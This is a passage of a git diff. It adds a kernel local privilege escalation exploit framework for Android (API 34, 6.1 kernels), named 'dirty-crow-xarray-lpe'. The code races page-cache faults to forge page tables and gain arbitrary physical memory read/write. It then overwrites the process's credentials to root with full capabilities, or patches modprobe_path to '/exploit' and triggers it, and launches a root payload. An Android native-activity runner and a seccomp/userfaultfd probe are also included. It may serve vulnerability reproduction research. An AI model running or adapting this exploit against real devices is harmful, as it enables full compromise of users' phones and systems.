RACE_PROGRESS_INTERVAL) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu active_gate_misses=%lu\n", + i, atomic_load(&active_workers), mutation_failures, + active_gate_misses); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (pte_spill) { + if (preserve_corrupted_mm() < 0) { + perror("preserve PTE-spill mm"); + printf("PTE_SPILL_MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + printf("EXPLOIT_STAGE_DONE primitive=controlled_out_of_vma_pte_write uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 5; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* + * Search every physical window for the marker. Android guests with + * several GiB of RAM do not reliably place the spray below the first + * fake-PTE span. Changing protection on the corrupted mapping forces + * a range TLB invalidation after each PTE rewrite. + */ + mapped_bytes = winning_pmds * PMD_SIZE; + { + const unsigned long entries = mapped_bytes / PAGE_SIZE; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long sampled_pages = 0; + unsigned long found_i = (unsigned long)-1; + unsigned long found_pfn = 0; + unsigned long found_page = 0; + unsigned int window_index = 0; + int marker_verified = 0; + + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu scan_limit_mib=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries, PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && !marker_verified; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + printf("RAM_RANGE index=%u first_pfn=%#lx end_pfn=%#lx pages=%lu source=exact_emulator_firmware_memmap\n", + range_index, range->first_pfn, range->end_pfn, + range->end_pfn - range->first_pfn); + fflush(stdout); + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && !marker_verified; + base_pfn += entries) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned char byte = 0; + + if (scan_pages > entries) + scan_pages = entries; + + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap marker physical window"); + return 6; + } + printf("MARKER_WINDOW_REMAP range=%u index=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, window_index++, base_pfn, + mapped_bytes, scan_pages * PAGE_SIZE); + fflush(stdout); + for (unsigned long n = 0; n < scan_pages; n++) { + volatile unsigned char *phys = + (volatile unsigned char *) + winning_fake_base + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + sampled_pages++; + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, + (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_pfn = base_pfn + n; + found_page = candidate_page; + marker_verified = 1; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, found_pfn, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + } + } + if (!marker_verified) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu scan_limit_mib=%lu\n", + sampled_pages, marker_matches, stale_matches, + PHYS_SCAN_LIMIT_MIB); + return 6; + } + } + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && + !credentials_patched && !root_helper_executed; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && + !credentials_patched && !root_helper_executed; + base_pfn += window_pages) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned long scan_bytes; + + if (scan_pages > window_pages) + scan_pages = window_pages; + scan_bytes = scan_pages * PAGE_SIZE; + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return 7; + } + printf("PHYS_WINDOW_REMAP range=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, base_pfn, mapped_bytes, scan_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + scan_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + scan_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read fault_bytes=%lu fault_loops=%u soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u collapse_attempts=%u collapse_retry_ns=%lu progress_interval=%u worker_cpus=%s main_cpu=%s layout_candidates=%u rotate_layout=%u layout_scan_pmds=%lu phys_scan_limit_mib=%lu cred_layout=android-6.1-btf\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + (unsigned long)RACE_FAULT_BYTES, + (unsigned int)RACE_FAULT_LOOPS, TLB_FLUSH_PAGES, + FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + (unsigned int)RACE_COLLAPSE_ATTEMPTS, + RACE_COLLAPSE_RETRY_NS, + (unsigned int)RACE_PROGRESS_INTERVAL, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", + (unsigned int)LAYOUT_CANDIDATES, + (unsigned int)RACE_ROTATE_LAYOUT, PUD_PMD_SLOTS, + PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/native_activity_runner.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/native_activity_runner.c new file mode 100644 index 0000000..a414f5b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/native_activity_runner.c @@ -0,0 +1,58 @@ +#include +#include +#include +#include +#include +#include + +#ifndef PROBE_ROUNDS +#define PROBE_ROUNDS 20000 +#endif +#define STRINGIFY_INNER(value) #value +#define STRINGIFY(value) STRINGIFY_INNER(value) + +#define APP_FILES "/data/data/dev.dirtycrow.probe/files" +#define LOG_PATH APP_FILES "/probe.log" + +extern int dirtycrow_probe_main(int argc, char **argv); + +static void *run_probe(void *unused) +{ + char *argv[] = { (char *)"dirty-crow-android-tuned", + (char *)STRINGIFY(PROBE_ROUNDS), NULL }; + int rc; + + (void)unused; + if (freopen(LOG_PATH, "w", stdout) == NULL || + freopen(LOG_PATH, "a", stderr) == NULL) + _exit(125); + setvbuf(stdout, NULL, _IOLBF, 0); + setvbuf(stderr, NULL, _IOLBF, 0); + (void)setenv("XARR_DISABLE_MODPROBE", "1", 1); + __android_log_print(ANDROID_LOG_INFO, "DirtyCrowProbe", + "starting rounds=%s uid=%u euid=%u", + STRINGIFY(PROBE_ROUNDS), + getuid(), geteuid()); + rc = dirtycrow_probe_main(2, argv); + fflush(NULL); + __android_log_print(ANDROID_LOG_INFO, "DirtyCrowProbe", + "completed rc=%d uid=%u euid=%u", rc, + getuid(), geteuid()); + _exit(rc); +} + +void ANativeActivity_onCreate(ANativeActivity *activity, + void *saved_state, size_t saved_state_size) +{ + pthread_t thread; + + (void)activity; + (void)saved_state; + (void)saved_state_size; + if (pthread_create(&thread, NULL, run_probe, NULL) != 0) { + __android_log_print(ANDROID_LOG_ERROR, "DirtyCrowProbe", + "pthread_create failed"); + _exit(124); + } + (void)pthread_detach(thread); +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/seccomp_user_notif_probe.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/seccomp_user_notif_probe.c new file mode 100644 index 0000000..4ca9afa --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/seccomp_user_notif_probe.c @@ -0,0 +1,55 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(void) +{ + struct sock_filter filter[] = { + BPF_STMT(BPF_LD | BPF_W | BPF_ABS, + offsetof(struct seccomp_data, nr)), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getppid, 0, 1), + BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_USER_NOTIF), + BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), + }; + struct sock_fprog program = { + .len = sizeof(filter) / sizeof(filter[0]), + .filter = filter, + }; + int listener; + int uffd; + + printf("SECCOMP_USER_NOTIF_PROBE uid=%u euid=%u nnp_before=%d\n", + getuid(), geteuid(), prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + errno = 0; + uffd = (int)syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); + printf("USERFAULTFD_RESULT available=%d fd=%d errno=%d (%s)\n", + uffd >= 0, uffd, errno, strerror(errno)); + if (uffd >= 0) + close(uffd); + if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) { + printf("SECCOMP_USER_NOTIF_RESULT available=0 stage=no_new_privs errno=%d (%s)\n", + errno, strerror(errno)); + return 2; + } + errno = 0; + listener = (int)syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, + SECCOMP_FILTER_FLAG_NEW_LISTENER, &program); + printf("SECCOMP_USER_NOTIF_RESULT available=%d listener_fd=%d errno=%d (%s) nnp_after=%d\n", + listener >= 0, listener, errno, strerror(errno), + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + if (listener >= 0) + close(listener); + fflush(stdout); + return listener >= 0 ? 0 : 1; +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/filemap_xarray_android_api34_v17.c b/dirty-crow-xarray-lpe/framework/reproducer/filemap_xarray_android_api34_v17.c new file mode 100644 index 0000000..13e1630 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/filemap_xarray_android_api34_v17.c @@ -0,0 +1,974 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#define PHYS_SCAN_LIMIT_PFN ((2560UL * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#define DEFAULT_ROUNDS 20000 +#define FAULT_THREADS 4 +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#define DELAY_PERIOD 100U +#define DELAY_STEP 10U +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH "files/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH "files/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_MARKER_PATH "files/filemap-xarray-root-marker" +#define MODPROBE_TRIGGER_PATH "files/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define MODPROBE_PATH_REPLACEMENT "/exploit" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid; +static gid_t target_rgid, target_egid, target_sgid; +static atomic_int fault_callers; +static _Atomic(char *) fault_addr; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} + +static void *fault_worker(void *arg) +{ + (void)arg; + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addr, memory_order_acquire); + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, char *tlb_flush_pad, + unsigned long base_pfn, + unsigned int epoch) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (epoch & 1U) == 0 ? PROT_READ : + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(MODPROBE_MARKER_PATH, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(MODPROBE_MARKER_PATH, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + memcpy(replacement, MODPROBE_PATH_REPLACEMENT, + strlen(MODPROBE_PATH_REPLACEMENT)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + if (trigger_modprobe() == 0) { + printf("MODPROBE_PATH_PATCH selected=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + MODPROBE_PATH_REPLACEMENT); + fflush(stdout); + return 0; + } + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], 2 * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + const uint64_t pair0 = ((uint64_t)target_rgid << 32) | target_ruid; + const uint64_t pair1 = ((uint64_t)target_sgid << 32) | target_suid; + const uint64_t pair2 = ((uint64_t)target_egid << 32) | target_euid; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + const unsigned long words_per_page = PAGE_SIZE / sizeof(uint64_t); + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + volatile uint64_t *words = (volatile uint64_t *)page_base; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long i = 1; i + 9 < words_per_page; i++) { + volatile unsigned char *cred; + uint32_t saved_ids[8]; + uint64_t saved_permitted, saved_effective; + unsigned long usage; + + if (words[i] != pair0 || words[i + 1] != pair1 || + words[i + 2] != pair2 || words[i + 3] != pair2) + continue; + id_matches++; + usage = words[i - 1]; + if (usage == 0 || usage > 0x100000 || + words[i + 4] != 0 || words[i + 5] != 0 || + words[i + 6] != 0 || words[i + 7] != 0) + continue; + + candidates++; + printf("CRED_CANDIDATE pfn=%#lx page_offset=%#lx usage=%lu bset=%#llx ambient=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + usage, (unsigned long long)words[i + 8], + (unsigned long long)words[i + 9]); + cred = (volatile unsigned char *)&words[i] - 8; + for (unsigned int id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)); + saved_permitted = *(volatile uint64_t *)(cred + 56); + saved_effective = *(volatile uint64_t *)(cred + 64); + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + 40) = 0; + *(volatile uint64_t *)(cred + 56) = CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + 64) = CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, candidates); + printf("CRED_PATCH pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = + saved_ids[id]; + *(volatile uint64_t *)(cred + 56) = saved_permitted; + *(volatile uint64_t *)(cred + 64) = saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid, euid, suid; + gid_t rgid, egid, sgid; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + getresuid(&ruid, &euid, &suid); + getresgid(&rgid, &egid, &sgid); + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, cap_rc, + (unsigned long long)effective); + printf("ROOT_PROOF open=%d read=%ld data=%.*s\n", + fd >= 0, (long)n, n > 0 ? (int)n : 0, proof); + fflush(stdout); + return ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + cap_rc == 0 && effective == CAP_VALID_MASK_7_1 && + n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0 ? 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(POST_ROOT_PATH, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE created=0 errno=%d (%s)\n", + errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(POST_ROOT_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(POST_ROOT_PATH, &st) != 0) + return -1; + printf("POST_ROOT_CREATE created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + st.st_uid, st.st_gid, st.st_mode & 07777, (long)n, + n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + uintptr_t root, source_base, follower_base, fake_base; + void *layout; + char *dummy, *follower; + char *marker, *tlb_flush_pad; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = 